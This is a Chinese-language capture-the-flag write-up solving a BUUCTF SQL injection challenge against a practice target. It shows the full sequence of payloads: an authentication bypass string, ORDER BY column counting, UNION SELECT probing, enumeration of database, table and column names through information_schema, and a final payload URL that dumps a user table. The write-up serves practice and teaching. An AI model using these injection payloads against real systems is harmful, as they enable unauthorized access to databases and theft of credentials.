环境
BUUCTF在线环境,启动靶机,获取链接。
http://4c0c8173-cd8d-4da6-b36f-1136831030bf.node4.buuoj.cn:81/
解题思路
访问链接,发现跟之前做的EasySQL一样的页面,上次是万能密码直接进入了获取了flag,先试试万能密码。
使用万能密码admin' or '1'='1
获得了一串字符串,拿去MD5解密没有解出来。
接着思考,题目提示是SQl注入,而万能密码能登进来说明是存在字符型注入的,所以看看用户表有多少字段。
admin' order by 3%23
注意注释符#在URL中需要url编码即%23.
回显正常,试试4个字段。
admin' order by 4%23
,报错,说明当前表只有三个字段。
继续构造,查看在哪一个字段有回想。
1' union select 1,2,3%23
,结果说明第2,3字段都可以回显,所以我们payload的位置可以在2,3字段。
爆当前数据库名和数据库版本。
1' union select 1,database(),version()%23
当前数据库名为geek,继续按照流程爆表名。
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23
有两个表:geekuser,l0ve1ysq1。
接着爆l0ve1ysq1表的字段名。
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="l0ve1ysq1"%23
有三个字段和我们之前用order by
语句判断的一致,接着爆出表内容。
1' union select 111,222,group_concat(id,username,password) from l0ve1ysq1%23
获取flag。
最终payload为:
?username=' union select 111,222,group_concat(id,username,password) from l0ve1ysq1%23&password=a260e681b279a958e882a9f3403357a8
总结
这道题是基础字符型SQL注入,没有什么坑点。